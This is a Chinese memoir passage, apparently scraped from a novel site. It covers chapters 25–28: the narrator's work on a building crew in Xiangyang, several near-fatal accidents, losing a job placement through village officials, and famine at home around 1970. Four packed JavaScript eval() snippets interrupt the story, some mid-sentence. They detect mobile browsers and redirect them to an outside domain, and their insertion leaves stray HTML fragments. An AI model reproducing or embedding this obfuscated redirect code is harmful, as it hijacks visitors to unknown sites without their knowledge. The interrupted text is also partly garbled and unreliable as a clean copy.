魏师傅就是大锯师傅,他在一旁说:“既然来了,就让他试试吧!我教他。” “赌博爹”也就没再说什么,点头同意了。 第二天,魏师就开始教我拉大锯。 他和我一人一边抬着一个很大的锯,一根很大的圆木横在两个支架上。 魏师傅给我详细讲解了“拉大锯”的基本要领和方法后,我们就开始拉。 开始有些别扭,慢慢地就协调了。只一天功夫,我就会拉了。 魏师傅一个劲地夸我聪明,夸我学得快。 锯这些木板是为了搭山上的工棚用的,没几天就锯完了。 然后是搭工棚,没几天,工棚也搭好了。 “赌博爹”对我说:“我们的活干完了,我也没活干了,我要进城去找活干,还不知道找不找得到。你是回家呢,还在这里等等?” “我不想回家!”就这么回去我不甘心,“我自己想办法吧。” 正好这时一个泥工队伍来了,他们是我们老家镇上的一个建筑队的,他们已经承包了这个工厂修围墙和做房子的工程。 我想去找他们试试运气,说不定能找到工作。 “赌博爹”和魏师傅一起进城里找工作去了。我就去找那个泥工队伍的负责人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915229|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一群工人正山坡上用石头做围墙,我走到一个姓蔡的泥工师傅旁边,对他说明了我的困境,想请他帮帮忙。 这个蔡师傅人很好,他很同情我,正好他就是这个泥工队伍的负责人,他答应我试用几天。 蔡师傅负责安排工作,他安排我挑石灰。这个活很简单,也不很累。 干了三天,下大雨了,工地停工了。工人们有的睡在地铺上休息,聊天,有的打扑克牌。 我看他们都很无聊奈的样子,就对他们说:“我给你们讲评书吧!愿意听吗?” 蔡师傅说:“那太好了!”工人们也都很乐意。 于是,蔡师傅搬来一张桌子和一把椅子,我找到一个小木板当醒木,就开讲了。 小时候武侠小说读得多,我记忆力也不错,就给大家讲《三侠五义》。 三十几个工人,都是在这一个大工棚里打地铺睡觉,他们都坐在地铺上听。 我开始讲的时候,还有几个人边打牌边听,后来这几个人牌也不打了,专心听我的评书。 大雨一连下了三天,我就一连讲了三天。工人们都听得入了迷,都说我讲得精彩。 蔡师傅特别爱听我讲的评书,于是就决定正式招收我进入这个建筑队。他是这个泥工队的队长,他说话算数。 蔡师傅把我的工资级别定为1.5级,每月工资是38元。如果加班,超过5小时按一天算,不足5小时按半天算。 我一想,在“赌博爹”那里拉大锯,一天才1.2 元,这里还多一点,交完小队的副业款30元,还能余下8元钱吃饭。如果有了加班费,还可以吃好一点。 记得后来有一个月我做了51个工,基本上天天加夜班。 真是意外收获,没想到这《三侠五义》帮了我大忙。 找到工作了,不用回家了,我高兴极了! 25. 第 25 章 四 工厂的围墙做好了,开始挖厂房的地基了。 就是在挖地基的时候,差一点就出大事了,我闯了一次鬼门关。 打地基的石头是先进场的,我们挖地基时,就要把石头搬开,空出地方挖地基,地基要挖近2米宽,3米多深。 那一天,正午时分,三伏天的太阳像一个巨大的火球,烤得石头发烫。 我们5个人在石阵中挖地基,已经挖了两米多深了,那地基里更是如蒸笼一般。 我们穿的背心和短裤都汗透了,头发里流下的汗水把眼睛都弄得睁不开。 忽听到上面有人喊:“小古,上来喝点水吧!” 我一听,是一个姓方的泥工师傅的声音。 当时的确是热得难受,也渴得难受,听方师傅一嘁,我们五个人急忙往上爬。 我刚端起碗准备喝水,水还没喝到口里,只听“轰”的一声,接着是“哗啦啦”的声响。 我扭头一看,我们刚才挖地基的地方被两边塌下来的大石头埋没了。 我们挖土的工具也都埋里面了。 我端着水碗,惊呆了,众人也都惊呆了。 我丢下碗,一下子抱住方师傅,说:“您真是我们的活菩萨啊!” 方师傅拍着我的头说:“好险啦!” 接着他又安慰大家说:“大难不死必有后福,你们中间一定有贵人呢。” 太惊险了!如果我们晚上来一分钟,那后果太可怕了,五个人全会被从地基两边崩塌下来的大石头和土活埋在里面了。 这是第一次遇险,后面还有好几次啊! 就在这件事发生后不久,开始建厂房了,我还是干和石灰、挑石灰的活。 和石灰是用搅拌机,搅拌机的电开关在旁边高坡上的一根木杆上。 要开搅拌机了,我爬上高坡去拉电开关。 没想到刚下过雨,上面都是湿的。我一碰电开关,“叭”的一声,触电了,我一下子从高坡上翻了下来。 可能是下意识的作用,我竟来了个后空翻,从高坡上翻了下来竟稳稳地站住了。 下面和我一起和石灰的姓余的工友惊呆了,他吃惊的原因并不是因为我从高坡上翻了下来好危险,而是惊讶我的“好功夫”。 他抻出大姆指对我连连称赞道:“真厉害!真厉害!好功夫!好功夫!” 从那么高的坡上摔倒下来,极有可能摔残废了,如果头着地,还有生命危险。 后来,他到处宣扬我的“好功夫”。 我哪里有什么“好功夫”啊!是老天爷在保祐我。 他弄得我哭笑不得。 要建襄阳大桥了,我们建筑队要分一部分人去襄阳大桥建设工地,蔡师傅就带上他的队伍出发了,我也在这个队伍中。 我们是最早上襄阳大桥建设工地的一批人。 襄阳大桥所在的地块中有一个棉纺仓库,我们的任务是把这个棉纺仓库拆走,然后在别的地方重建。 先拆后建,拆的时候不能损坏砖瓦木材,因为马上就要用这些材料重建新仓库。 拆仓库上的瓦和木材保证不损坏容易,但拆仓库墙上的砖要想没损坏就麻烦了。 蔡师傅的办法是,拆墙砖的时候,在墙边靠上一个又宽又长的木板,拆下一块墙砖,就从这个木板上滑下去,这样砖就完好无损了。 我们先按蔡师傅的办法拆墙砖,拆了一天,没拆多少砖,这方法费时间,效率太低。 工钱是包死了的,整个仓库拆完就那么多钱,按这个方法干,建筑队会亏死。 于是,大家都想办法。 我想到了一个办法,就对蔡师傅讲了。 他一听,觉得可行,就同意了。 我的办法效率高,既拆得快,又不损坏砖。然而,就是因为我这个办法,我又遇了一次险。 我的办法是,先把墙下面的砖掏掉大部分,留下很小一部分支撑着墙,然后工人们拿木料顶着墙把整面墙推倒。 这样拆,拆得快,砖也很少损坏。按我的方法干,可以大大地节省拆墙的时间,效率高,可以提前完工。 于是大家就按我的方法干,工程进度飞快,没几天就拆得差不多了。 谁知拆到最后几面墙时,出事了。 那天下午,我们为了拆一间房子,已经把这间房子南墙下的砖掏好了,房间里有五个人,一人拿一根长木头顶着墙推墙。 我和那个夸我功夫好的小余也在这五人之中。 准备推的时候,一位在建筑队里为大家理发的王师傅说:“小古,你力气小,让我来吧!” 的确,我当时长得瘦弱,力气小,而这个理发师傅身材高大,力气也大。 于是,王师傅就换下我,接过我手中的那根木头。我就从那个房间出去了。 大家喊着“1!2!3!”开始推墙。只听“轰”的一声,南面的墙推倒了,没料到东面的墙也随着扑下来了。 东面的墙下面也掏了,但两面墙之间已经拆开了,并没有连着,不知怎么就一起倒了。 房间里的五个人全被倒下的墙扑在里面了。 外面的人都吓坏了。 只听有人喊了一声:“敢快救人!” 大家一拥而上,扒开砖救人。 我首先扒出的是理发的王师傅,真幸运!那根木头救了他。 那根木头很大,挡在了王师傅的身前,他只是有只耳朵受了伤。 受伤最重的是那个夸我“好功夫”的小余,当即被送往当地的医院抢救。幸好没有生命危险,但是断了一条腿。 其他的三个人也都受了伤,都送进了医院。幸好,都保住了性命。 好几天我都沉浸在后怕之中。我想,如果王师傅没有换下我,那根木头会不会那么幸运地保护我啊? 仓库提前拆完了,开始重建新仓库了。 建新仓库时,“赌博爹”和魏师傅也来了,他们也加入了这个建筑队,我就又调到了木工组,跟着“赌博爹”学做门窗。 走的时候,泥工组的蔡师傅还舍不得我走,当时他已经答应收我为徒了。 我学会了砌“清水墙”,什么“二四墙”、“三六墙”、“空斗墙”我都会砌。 因为我当时对木工很感兴趣,还是到了木工组。 当时的门窗都是榫铆结构,基本上不用钉子。我师傅“赌博爹”做一个衣柜就不用一个钉子,而且非常结实。 师傅从教我磨斧头开始,然后教我做榫铆结构的门窗,做榫铆结构的桌椅。 有一次我做窗子时出了差错,师傅还打了我一钉锤,说:“你读书那么聪明,怎么做木工活这么笨!” 最终,我还是没学好木工活,也没当成木匠。 要做仓库的房顶了,那边木工人手不够,就从我们这个木工组调人去支援,我和魏师傅也被调去了。 棉纺仓库的屋顶是“七分水”,坡度很陡。钉牛皮毡时,我趴在上面不敢动,生怕滑下来摔死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915230|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>魏师傅身上系上了安全绳,他想给我也系上。 这时,木工组一位老师傅在下面大声骂道:“是那个狗娘养的让小古上屋顶的?” 这位老师傅姓杨,大名不知道,只知道他有个外号叫“驴子屎”,因为他很讲面子,穿在外面的衣服比较体面,但穿在里面的衣服很糟,所以人们送了他这样一个外号。他已经60多岁了,在建筑队里很有威望。 他骂完后对我喊道:“小古,你快下来!老子上去。老子摔死了“叶罗”——这是我们那里的粗话,你将来还要干大事的。” 趴在上面,听到老师傅的话,我鼻子一酸,眼泪在眼框里打转。 我听他的话从梯子上下来了,老师傅上去了。 我非常感恩这位外号“驴子屎”的老师傅。好多年后,我好几次到老家去找他都没找到。 后来,听说他晚年很幸福,九十多岁了,在深圳儿子那里养老。好人终有好报! 棉纺仓库建好不久,我们建筑队接到一个非常棘手的活, 有个单位出高价请人给他们单位新修的水塔做油漆。 负责干这个活的油漆组的组长皮师傅说,这活非常危险,要选一个既精明又头脑冷静的人做帮手。 不知怎么他选中了我。 我来到这个水塔前一看,天啦!这水塔有十层楼那么高,下面三个大水泥柱子顶着一个大水泥罐子。 要给上面这个大水泥罐子和下面三个大水泥柱子刷油漆,怎么刷啊? 这个皮师傅有办法。三个大水泥柱子之间有几层横着的水泥柱支撑着,每层支柱呈三角形。 但每层呈三角形的支柱之间间距太大,要把柱子全刷上油漆,有的地方够不上。 皮师傅就和我一起在每层支柱间再搭一层木支架。 做这个工程就我们两个人。 搭木支架就好危险啊!每一个动作都要小心翼翼,一不小心就会掉下来,越往上越危险,不小心就会粉身碎骨。 快接近上面的大水泥罐子时,我站在我们搭好的木支架往下看,头发晕,两腿发抖。 要想用油漆刷上面装水的大水泥罐子,还必须往上面搭木架子。 这可不好搭。 皮师傅也有办法,在靠近水泥罐子底部的支架上斜插几根木料,再在这斜插的木料上横着绑木条。 那简直是像玩杂技啊!太惊险了。 我胆战心惊地和皮师傅一起干着,干了十多天,终于干完了。 我都快吓死了,皮师傅还一个劲的夸我,说要收我做徒弟。 我说我只想学木工,别的不想学,谢绝了他的好意。 那年十一月初,就下起了大雪,雪天里我们也没停工。 雪夜里,我们还在加夜班。我当时只穿了两条单裤,一件薄棉衣。 我记得雪夜里和我一起拉板车运红砖的两个工友,一个姓梅,后来是县财政局局长,一个姓张,后来是某银行一个分行的行长。 在襄阳的这大半年,也有过快乐的时光,那就是休假的时候。 不是每个星期日都休假。 我趁休假的日子,把襄阳的风景名胜都游得差不多了。 印象最深的还是比较近、游了多次的襄阳古城门。在那里听人讲与之相关的故事,如《七侠五义里》里白玉堂夜闯襄阳城和郭靖守襄阳等。 当时襄阳有个京剧团,时不时有演出,演的全是样板戏,我看过他们演的《红灯记》、《沙家浜》、《智取威山》。 26. 第 26 章 五 临近春节了,老家县里忽然来了几个人,他们是来组建县建筑公司的。 总负责的是一个刚转业的团职军官,姓张,是我读小学时学校所在地张家大塆的人。 很快,黄陂县第七建筑公司就在襄阳成立了。 张总经理很热爱文艺,他还要在公司内搞一个文艺宣传队,说是为了活跃工人的文化生活。 他听工友们说我经常在工地上唱歌,还唱样板戏,还会说评书,就要我来负责筹建这个文艺宣传队。 我本来就喜欢文艺,在学校还当过文艺宣传队长,我很乐意,就爽快地答应了。 张总还告诉我,公司要扩大规模,春节后要在老家大招工,还说要多招一些多才多艺的,特别是有艺术细胞的人,把文艺宣传队尽快建立起来。 要放假回家过年了,公司给每位员工都发了一个“职工登记表”,要大家都填好,请所属大队盖上公章,就成为公司正式员工了。 回家时,除掉要上交的副业款,除掉买木工工具的钱,仅剩下18元钱。 路过武汉时,我在江汉路工艺大楼买了一把三弦秦琴。 回到家里,母亲说:“做了一年的事,怎么回家过年一分钱也没有啊?我还指望你赚的钱买年货呢。” 父亲摸了摸我买的新琴,颇为高兴的说:“好,做了一年工,赚了一把琴,值得,值得!” 真是我的好父亲啊! 多亏了这把琴,它陪伴我度过了那酸甜苦辣都尝尽的岁月。 正是: 苦也操琴,竹篱茅舍二泉吟。乐也操琴,玉堂金马将军令。 愁也操琴,幽幽怨怨江河水。思也操琴,缠缠绵绵诉衷情。 (自度曲 琴趣) 月夜里,一个人坐在村后的山坡上,松林边,自弹自唱,白天的劳累也就弹消了许多。 后来,这把琴竟成了我初恋的媒介。 除夕前一天,我填好“职工登记表”,拿着到大队会计家盖公章。 大队会计也姓古,叫古化文,和我是同族,我称他为“化叔”。 上面有相关通知下来,“化叔”已经知道招工的事,他拿过我手上的“职工登记表”,说:“先放在我这里吧,我们大队还要研究研究。” 我说:“这有什么研究的?我已经在建筑公司干了大半年了。”“招工这么大的事怎么能不研究呢?”他把我的“职工登记表”放进办公桌抽屉里,不耐烦地说,“你回去等结果吧。” 等了几天,他们研究的结果出来了,大队老书记的儿子顶替了我的名额。 我急忙跑到镇里去找张总经理,张总经理听我一说也非常生气,说:“大队怎么能这么干呢?” 他想了一下,又说:“这样吧,我给你们大队增加一个招工名额。” 说完他带我到办公室,给了我一张“职工登记表” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915231|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,并叮嘱道:“别和他们闹,多说几句好话。” 临出门,他又叫住我,说:“把表给我,我在上面写几个字。我还指望你帮我搞宣传队呢。” 他从我手中拿过那张“职工登记表”,在上面写了这样一行字:“该同志是我公司特招的员工,请你们支持!谢谢!” 他还在后面签上了他的名字:张吉庆。 我又拿着表去找那个“化叔”。 我把表递给他,一点埋怨他的话都没说。 他接过表说:“上次的表给谁了你也知道,是大队干部集体研究的,我也没有办法。” 他看了看“职工登记表”,说:“至于这个表嘛,也还得研究研究。” 我有点想发火,但忍住了,说:“你们研究吧。” 说完我扭头就走了。 结果是大队让小队研究,小队就开会研究了。 据后来有人透露说,主要是小队长“三苕货爹”和“苕五爹”反对的最厉害。 他们说,招工就应该招贫下中农的子女,他们家是商人在乡土地,怎么行呢? 他们研究的结果是,本小队放弃这个招工名额。 你看这些人有多缺德,宁可放弃这个名额,也不给我。 后来这个名额给了隔壁村的大队团支书的弟弟“老八”了。他们这次对我家的报复成功了。 襄阳去不成了,工人当不成了,我开始干起了农活。 27. 第 27 章 六 贫穷,他真的是和我有缘,这缘份还很深很深。从回到故乡至离开故乡,他就一直亲密地伴随着我。 1970年是我家最艰难的一年。 年一过完,我家就断粮了,柴火也没有了。 这年春节期间下了一场大雪,天也特别地冷。 正月十五一大早,我就冒着大雪到桃园店上去挑煤。 父亲前两天去外地借粮食,路过桃园店时,想办法搞到了一百斤煤,放在桃园店一个熟人家里,托人带信,让我去挑。 从古家田到桃园店,只有五、六里地,路虽然不远,但大雪天里挑一百斤煤在路上走却非常艰难。 路上都是冰雪,还上了冻,非常滑,不好走,一不小心就会摔倒。 我用一件旧衣服包着头,在腿上绑几根稻草绳防滑,挑着两大箩筐煤,冒着风雪往前走。 那雪下得正紧,白茫茫的大地上,就只有我一个人,挑着担子在雪地里艰难前行。 到家的时候,我已经成了一个雪人了,头上背上全是冻硬了的冰雪。 第二天,父亲回来了,没有借到粮。他用全家的布票肉票等能换钱的东西换回几十斤萝卜干,这就是我全家的救命粮了。 这时,我母亲挺着怀孕七个月的大肚子,在灶台前费尽心思为全家做饭。 “巧妇难为无米之炊”啊!那能救命的红苕早已吃完了,幸好还有些咸菜和谷糠。 母亲烧一锅开水,抓几把萝卜干放在里面煮。 煮了一会,再抓些谷糠撒在里面,这就是全家的饭了。 菜呢?全家就一碗咸茶。 开饭了,一人一碗“糠萝卜糊”。 这样过了几天,救命的来了。 我的初中同学,那个和我一起登过双凤亭吟诗的同学古春福来我家搭伙食了。 古春福在上初中时,写了一个《送公粮》的快板剧,在县文艺刊物上发表过。大队干部认为他很有才华,回乡后,就让他当了大队卫生所的赤脚医生。 大队卫生所搬到我们村来了,离他们村有几里路,他回家吃饭不方便,就到我家来搭伙食。 我把我家的困难都对他讲了,他听了,还是坚决要到我家搭伙食。他每天给我们家一斤白米,在我家吃中饭和晚饭。 有米了,母亲也有办法了。母亲把春福给的白米磨成碎米,萝卜干上撒的就不再是谷糠而是碎米了。 开饭了,全家一人一碗“碎米萝卜糊”。 老同学古春福也是一碗“碎米萝卜糊”。 三月中旬,我最小的弟弟出生了。 开饭时,还是一人一碗“碎米萝卜糊”。 老同学古春福也是一碗“碎米萝卜糊”。 我母亲也是一碗“碎米萝卜糊”。 在“月子”里,我母亲没有吃一根面。七个兄弟姐妹中,我最小的弟弟个子最小。 我母亲总是说,小儿子是饿着怀,饿着生的,所以个子小。 为了能交上“缺粮钱”,父亲把堂屋里上香供祖先的大台子拆了,准备拿去卖。 为了好卖,他叫我用锯子把供台柱子锯成板子。 我学的木匠手艺用上了,我把供台柱子全部锯成了板子。 父亲看到堂屋里满地的“锯末子”,眼睛里放出光来。 他伏下身子,从地上抓起一把“锯末子”,捏了捏,兴奋地说:“这锯末子很软和,说不定能吃啊!” “这是从木头上锯下来的,怎么能吃得啊!”我苦笑着对父亲说。 父亲抓着“锯末子”站起身来,有些无奈地说:“这东西要是能吃就好了。” 他好像有点舍不得地把抓在手中的锯末子慢慢的撒到了地上。 第二天一大早,我和父亲一起,挑着供台柱子锯成的木板,走了十多里山路,到蔡家榨街上去卖。 我们把木板堆在十字街口的马路边,一直到中午饭的时候也无人问津。 我们无钱吃中饭,饿着肚子耐着性子继续等。 大约下午两点多钟,终于等来一个问价的人。 我一见这人就认出来了,就是那个在襄阳雪夜里和我一起拉板车的小梅。 他的样子基本上没变,所以我一见就认得出,可能我的样子变化太大,他没能认出我。 我怕他认出我不好意思,我就借故走到马路对面去了。 我在马路对面看到,小梅把手插在口袋里,低头用脚踢了踢堆在路边的木板,然后抬起头来和我父亲说话。 两个人说了不一会,小梅就走了。 等到看不见小梅了,我才从马路那边跑过来。 父亲皱着眉头对我说:“看来卖不出去了,你也饿了吧?我们回去吧,回去再想别的办法。” 我没有把我认识刚才用脚踢木板的小梅的事告诉父亲。 事后才知道,小梅从襄阳回来后,也没有去建筑公司,而是在公社企业管理办公室工作,后来还当上了县财政局局长。 三年后,我在小学当校长的时候,因为我给镇中学校长画了一幅“松鹤同春”的画被他看见了。 他就找到我,要我教他画国画,因此成为了好朋友,他还特地请我到他家喝了几次酒。 而那天的事,我一直没对他说。 我也觉得这木板难卖,就和父亲一起,又把这供台柱子锯成的木板挑回家了。 饿着肚子,还要干很重的活。 记得有一天,我挑稻捆挑到中午,饿得眼冒金星,实在受不了,就偷偷跑回家,把喂猪的粉碎的红苕藤粉末放到锅里做粑粑吃。 做好了,一咬,满口是砂子,不能吃。没法子,从水缸里舀了几碗凉水喝了,就又去挑稻捆了。 七 吃的难,烧的也难。村前村后,山坡上,田埂上,草都被挖光了,只好想办法搞煤烧饭。 有一天,我和父亲到离村三十多里地的新州县李家集去搞煤。 天还没亮,我和父亲,吃了几个煮熟的红苕,带上几个煮熟的红苕,一人挑一担空箩筐就出发了。 到了一个卖煤的地方,煤都卖完了,但地上没搞干净,地上还可以扫出一些煤来。 父亲只有2.5元钱,就和卖煤的商量,用这2.5元钱买这地上没扫干净的煤碴,卖煤的当然同意了。 我和父亲一起,把地上黑的东西都扫在一起,一半是煤,一半是煤染黑了的土,搞了四箩筐。 我和父亲一人挑两箩筐煤往回走。 走到半路,天就黑了,还下起了小雨。父亲挑着担子在前面走,我在后面挑着担子越来越跟不上。 父亲停下来,等我赶上来了,对我说:“你走得太慢,我不等你了,我先挑回去,再回来接你。” 于是,父亲就先挑着担子走了,我就挑几步歇几步地往前挪。 雨下得不大,但一直没停,担子越挑越重。我要费好大的力气才能把担子挣起来,挣起来也只能往前挪动几步。 挪到一个小山村边的时候,我就再也挣不起来了。 村边有一棵很大的树,我就把担子挪到这棵大树下躲雨。 带的几个红苕中午就吃完了,这时已经非常的饿了。 我坐在大树下的一个石头上,眼睛望着父亲走去的方向,盼望父亲早点来接我。 离大树不远有几间低矮的房子,房子里没有点灯,黑乎乎的。 忽然从一间房子里出来一个人,慢慢向我走过来,走近了才看清是一个大约四十岁的女人。 “你怎么这么晚还坐在这里呀?” “我挑不动了,在这里等人来接我。” 她看了看树下装煤的箩筐,说,“这煤都打湿了,怪不得你挑不动。”她接着问我,“你还没吃晚饭吧?” “中午吃了两个红苕的。”我回答说。 “你跟我来,到我家去,我给你做点吃的。”她边说边示意让我跟她一起到家里去。 她一进屋就开始点灯,边点灯边说:“煤油好贵,我用的是柴油,柴油也要省着用啊。” 她说的我也知道,因为我家,我们村里也都是用的柴油灯,并且还舍不得点,能不点灯就尽量不点灯。 她点上灯就开始为我做吃的。 微弱的灯光下,我看到屋子里还有两个小孩,一个男孩,大约七、八岁,一个女孩,大约三、四岁。 屋子里有一副磨子,女人用手抬起磨盘,从里面扫出一小碗碎米。 她又找出一把白茶叶子,就开始在灶台上为我做吃的了。 我看了看灶台边的情况,一看就知道,她家晚上一定没开火,也没吃晚饭。 听到锅里“咕咕咕”煮饭的声音,我的肚子也“咕咕咕”地叫起来。 她做饭的时候,她的两个孩子就一直站在灶台边眼巴巴地看着。 饭做好了,那是一碗热腾腾的碎米菜糊。 她把一碗碎米菜糊端到桌子上,对我说:“饿坏了吧,快趁热吃吧。” 她又回过头对两个跟上来的孩子说:“这是做给这个大哥哥吃的。明天我再做给你们吃。” 我埋着头吃,泪水滴到了碗里。我不敢抬头看旁边的那两个孩子。 这一碗碎米菜糊,是我这辈子吃过的最好吃的美食!也是这一辈子难以忘记的美食啊! 大约晚上十一点多钟的时候,父亲和舅舅一起来了,他俩换着挑,帮我把煤挑回了家。 上大学后的第一个暑假,我专程赶到那一带去找这户人家。 顺着我曾经挑煤走过的路,一路走,一路询问。 因为天黑,那个村子的模样记不得,也不知道那个村子的名称,父亲也不知道,但我记得那棵大树,我就找有大树的村子。找了一整天,还是没找到那个村子。 还有一次,我随诗友们一起到新州采风,也专门打听过,还是没找到。我舅舅也带我找过一次,也还是没有找到。 八 在那一年多的日子里,栽秧,栽红苕,割麦子,割稻子,挑粪,挑草头,耙田,耙地,诸多农活都干过。 虽然家里增加了我这个劳动力,但我家还是大缺粮户。 为了增加收入,我家养了一头母猪。这头母猪,可以算是我们家的“功勋母猪”了。 家里的经济来源,全靠这头母猪了。 然而,喂猪的饲料成了大问题。 现在我们老家都是用红苕和玉米做猪饲料,可当时,这红苕和玉米都是主粮啊! 为了喂好这头大母猪,父母想尽了办法,吃尽了苦头。 父亲想到一个办法,用水草来喂猪。 我们那地方的水塘里有一种被称为“葡萄苗”水草,我父母把这种水草打回来,切碎,放进腌咸菜的大缸里发酵。发酵后的“葡萄苗”猪很爱吃。 白天要在队里出工挣工分,只有晚上有时间去打“葡萄苗”。 于是,父母经常是在晚上一起去打“葡萄苗”。 附近水塘里的“葡萄苗”被打完了,就要走很远的路去找“葡萄苗”。 有月亮的晚上还好一点,在没有月亮的黑夜里,走很远的路去找“葡萄苗”,打“葡萄苗”就很不容易了。 有一天晚上,父母在一个水塘里打“葡萄苗”。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915232|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太黑,要趟水到水塘中央去打“葡萄苗”,母亲的左手食指被水草中夹杂着的一种带刺的草扎伤了,鲜血直流。 母亲从破衣服上撕下一个小布条把食指一包,又带着伤去打“葡萄苗”了。 第二天,母亲的食指就红肿起来了,这是感染了,发炎了。 母亲也没上卫生所去治,依然用这受伤的手洗衣做饭。 十指连心啊!母亲一定是钻心地痛。 母亲是非常坚强的人,疼得额头上冒冷汗也不吭声。 母亲的食指烂了半截,指骨都露出来了。 母亲自己拿剪刀把食指上的腐肉剪掉,用布把食指缠起来。依然是什么都做,洗衣做饭干农活,从不耽搁。 我亲眼见母亲拿剪刀剪食指上的腐肉时,我心里很痛,我劝母亲去卫生所,对她说:“妈!去卫生所看一下吧!” 母亲说“不用,会好的。” 当时我竟联想起《红岩》里的江姐了。 从此,我母亲的食指就成了畸形的了,短了半截。 我家的“功勋母猪”很争气,下出的小猪崽又多又健康,一次都下七、八个。 有一次,我和父亲挑着八个小猪崽到新州仓埠镇上去卖。 起五更出发,到镇上吃早饭。吃完早饭,我们把挑小猪崽的担子在街边一放,就有人前来问价。 每个小猪崽都有10斤左右,上午就都卖完了,卖了好几十快钱。 父亲高兴极了,回来就给儿女们一人做了一件新衣服。 这年五月,生产队为了增加收入,组织十几个男劳动力去东西湖柏泉农场插秧。我和父亲都去了。 我们是半夜才走到柏泉农场的。 来插秧的民工都住在田边临时搭的工棚里。 我们还是半路上吃过中饭的,走到这里,大家都又累双饿了。 我们一进工棚,苕一哥伯说:“太饿了,煮点饭吃吧。” 我们自带了一大袋子米。 我父亲说:“我来做饭,你们去找水呀吧。” 我就跟着苕一哥伯到棚子外面去找水。 苕一哥伯拿手电筒往棚子后面一照,说:“这里有水,之华,快去拿个水桶来。” 棚子后面有个不大的水坑,手电照在坑里的水面上,看起来水清亮清亮的。 我跑进棚子里,在里面找到了一个木桶,连忙跑到水坑边。 苕一哥伯把手电筒递给我,让我照着,他拿水桶在坑里打了半桶水。 父亲就用这打来的水做了一大锅白米饭。 十几个人,一人盛了一大碗,蹲在地上,都狼吞虎咽地吃起来。 我吃的时候觉得这饭的味道怪怪的,有皮蛋的味道。 饿得太厉害了,一会儿,大家都吃完了。 第二天早晨,我起床了,走到棚子后面去小便。 正好走到昨天晚上打水的地方,我一看,天哪,昨晚打水的那个水坑竟然是个粪坑。 我大叫起来:“快来看啊!” 大伙听到我的叫声,都跑出来看,都呆住了。 苕一哥伯说:“怪不得有皮蛋味,我们吃的是粪坑里面的水煮的饭。 柏泉农场的人来了,他提着一个油桶。 他告诉我们,这里是血吸虫疫区,水田里有血吸虫,下水田前要在脚上抹上黄油。 我们就都往脚上抹黄油。 等我们都在脚上抹好了黄油,柏泉农场的这个人就带我们到水田里插秧了。 插秧插了半个月我们才回家,我们只记工分不拿钱,钱是生产队收的。 这以后我总是担心:是不是会染上血吸虫了? 还算幸运,我们都没染上血吸虫。 从柏泉农场回来后不久,我就到修吴家寺水库的工地上去了。 每天早上上工地前,全体民工要到村前集合。 大队支书老七读一段语录再上工地。 我到工地的第二天早上,我们都在村前集合好了。 老七开始读语录了,他是个结巴: “群众是、是、是是、真真真正、正正——正正正、开开——开工——” 大家都不敢笑,强忍着。他们都是先来工地的,习惯了,能忍得住。 我刚来,就忍不住了,我笑出了声。 老七听到了我的笑声,就跑到我面前,结结巴巴地说: “你、你、你你笑——笑什么?” 我强忍着,说不出话。 “那那——明天你来读!” 真奇怪!他说后面五个字竟然没结巴。 “我不是、是、是是开玩笑,明明、明天你、你你来读。” 他又结巴了。 第二天,就由我来读语录了,而且我还是用普通话读,大家都夸我读得好。 六月的天,已经非常热了,太阳晒得地上冒烟。 我们要把大石头抬到水库大堤上去,从堤下往堤上抬,十分费力。 我们不是用扁担抬,也不是用竹竿抬,而是用大木头抬,因为石头太大了。 老七人不坏,是个老实人。他要和我一起抬石头,我同意了。 老七总是把套石头的绳子往他那边移,这样我这边承爱的力就小多了。 很明显,他是在照顾我。 修水库用的都是大石头,一般都是三四百斤。 大木头压在肩上,往前移动一步都要费很大的劲。 上坡的时候就更难了,腰都直不起来。每天晚上腰疼得睡不着觉。 这样的日子真难熬! 我就这样一天一天地熬着。 28. 第 28 章 七 一天下午,我正在工地上抬石头,忽然我舅舅来了,他当时已经是公社兽医站的兽医了。 他很兴奋地告诉我说:“公社宣传干事刘波要我来通知你,叫你马上到公社文艺宣传队报到。这是大好事啊!” 